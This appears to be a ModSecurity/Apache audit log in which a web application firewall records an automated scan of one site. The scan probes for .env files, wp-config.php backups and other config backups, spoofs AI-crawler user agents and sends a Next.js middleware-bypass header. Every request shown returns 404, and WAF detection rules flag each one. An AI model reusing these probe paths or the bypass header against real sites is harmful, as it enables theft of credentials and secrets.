Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZdNmM7dE9KgIIOpQhxqwAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZdNmM7dE9KgIIOpQhxqwAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734963293 168260 (- - -)
Stopwatch2: 1789287734963293 168260; combined=38045, p1=347, p2=37624, p3=0, p4=0, p5=73, sr=106, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--572e1869-Z--

--e9576078-A--
[13/Sep/2026:11:22:15.223110 +0300] aqZdN2M7dE9KgIIOpQhxrAAAANU 34.80.249.255 53596 127.0.0.1 7081
--e9576078-B--
GET /config/.env.php HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e9576078-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e9576078-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZdN2M7dE9KgIIOpQhxrAAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZdN2M7dE9KgIIOpQhxrAAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735121969 101196 (- - -)
Stopwatch2: 1789287735121969 101196; combined=36512, p1=216, p2=36234, p3=0, p4=0, p5=61, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e9576078-Z--

--a5f9010c-A--
[13/Sep/2026:11:22:15.246332 +0300] aqZdN0wu1RSkptiiNIX2yAAAAIo 34.80.249.255 53604 127.0.0.1 7081
--a5f9010c-B--
GET /.env.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a5f9010c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a5f9010c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZdN0wu1RSkptiiNIX2yAAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZdN0wu1RSkptiiNIX2yAAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735153353 93035 (- - -)
Stopwatch2: 1789287735153353 93035; combined=32201, p1=305, p2=31832, p3=0, p4=0, p5=64, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a5f9010c-Z--

--014a1c0d-A--
[13/Sep/2026:11:22:15.373987 +0300] aqZdN2M7dE9KgIIOpQhxrQAAANM 34.80.249.255 53608 127.0.0.1 7081
--014a1c0d-B--
GET /core/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--014a1c0d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--014a1c0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/core/.env"] [unique_id "aqZdN2M7dE9KgIIOpQhxrQAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735282840 91222 (- - -)
Stopwatch2: 1789287735282840 91222; combined=4877, p1=350, p2=4474, p3=0, p4=0, p5=52, sr=167, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--014a1c0d-Z--

--a3bdc36e-A--
[13/Sep/2026:11:22:15.451006 +0300] aqZdNzTJ6xTvcJoem7f51AAAAEg 34.80.249.255 53640 127.0.0.1 7081
--a3bdc36e-B--
GET /configuration.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a3bdc36e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a3bdc36e-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/configuration.php.bak"] [unique_id "aqZdNzTJ6xTvcJoem7f51AAAAEg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735378111 72952 (- - -)
Stopwatch2: 1789287735378111 72952; combined=4518, p1=217, p2=4242, p3=0, p4=0, p5=58, sr=76, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a3bdc36e-Z--

--61e2fa55-A--
[13/Sep/2026:11:22:15.480226 +0300] aqZdN0wu1RSkptiiNIX2yQAAAIs 34.80.249.255 53628 127.0.0.1 7081
--61e2fa55-B--
GET /config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--61e2fa55-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--61e2fa55-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config.php.bak"] [unique_id "aqZdN0wu1RSkptiiNIX2yQAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735360781 119500 (- - -)
Stopwatch2: 1789287735360781 119500; combined=4517, p1=224, p2=4213, p3=0, p4=0, p5=79, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--61e2fa55-Z--

--6c10cb4b-A--
[13/Sep/2026:11:22:15.559233 +0300] aqZdNzTJ6xTvcJoem7f51QAAAFM 34.80.249.255 53650 127.0.0.1 7081
--6c10cb4b-B--
GET /.env.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6c10cb4b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c10cb4b-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.swp"] [unique_id "aqZdNzTJ6xTvcJoem7f51QAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735488270 71027 (- - -)
Stopwatch2: 1789287735488270 71027; combined=4706, p1=203, p2=4447, p3=0, p4=0, p5=55, sr=86, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c10cb4b-Z--

--e63a961b-A--
[13/Sep/2026:11:22:15.686736 +0300] aqZdN0wu1RSkptiiNIX2ywAAAIU 34.80.249.255 59596 127.0.0.1 7081
--e63a961b-B--
GET /public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e63a961b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e63a961b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public/.env"] [unique_id "aqZdN0wu1RSkptiiNIX2ywAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735621020 65781 (- - -)
Stopwatch2: 1789287735621020 65781; combined=4455, p1=261, p2=4139, p3=0, p4=0, p5=55, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e63a961b-Z--

--eee9f84e-A--
[13/Sep/2026:11:22:15.824353 +0300] aqZdN0wu1RSkptiiNIX2zAAAAIM 34.80.249.255 59610 127.0.0.1 7081
--eee9f84e-B--
GET /web/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--eee9f84e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--eee9f84e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/web/.env"] [unique_id "aqZdN0wu1RSkptiiNIX2zAAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735714765 109645 (- - -)
Stopwatch2: 1789287735714765 109645; combined=5744, p1=221, p2=5426, p3=0, p4=0, p5=96, sr=95, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eee9f84e-Z--

--c40f9879-A--
[13/Sep/2026:11:22:15.831496 +0300] aqZdN2M7dE9KgIIOpQhxrwAAANE 34.80.249.255 59602 127.0.0.1 7081
--c40f9879-B--
GET /storage/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c40f9879-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c40f9879-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/storage/.env"] [unique_id "aqZdN2M7dE9KgIIOpQhxrwAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735716073 115479 (- - -)
Stopwatch2: 1789287735716073 115479; combined=4404, p1=160, p2=4197, p3=0, p4=0, p5=46, sr=67, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c40f9879-Z--

--dd84893a-A--
[13/Sep/2026:11:22:15.868373 +0300] aqZdN2M7dE9KgIIOpQhxsAAAAMw 34.80.249.255 59620 127.0.0.1 7081
--dd84893a-B--
GET /wp/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--dd84893a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--dd84893a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp/.env"] [unique_id "aqZdN2M7dE9KgIIOpQhxsAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735751112 117349 (- - -)
Stopwatch2: 1789287735751112 117349; combined=4974, p1=304, p2=4601, p3=0, p4=0, p5=68, sr=134, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dd84893a-Z--

--0fa04461-A--
[13/Sep/2026:11:22:15.903845 +0300] aqZdN2M7dE9KgIIOpQhxsQAAAM4 34.80.249.255 59636 127.0.0.1 7081
--0fa04461-B--
GET /wp-config.php~ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0fa04461-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0fa04461-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
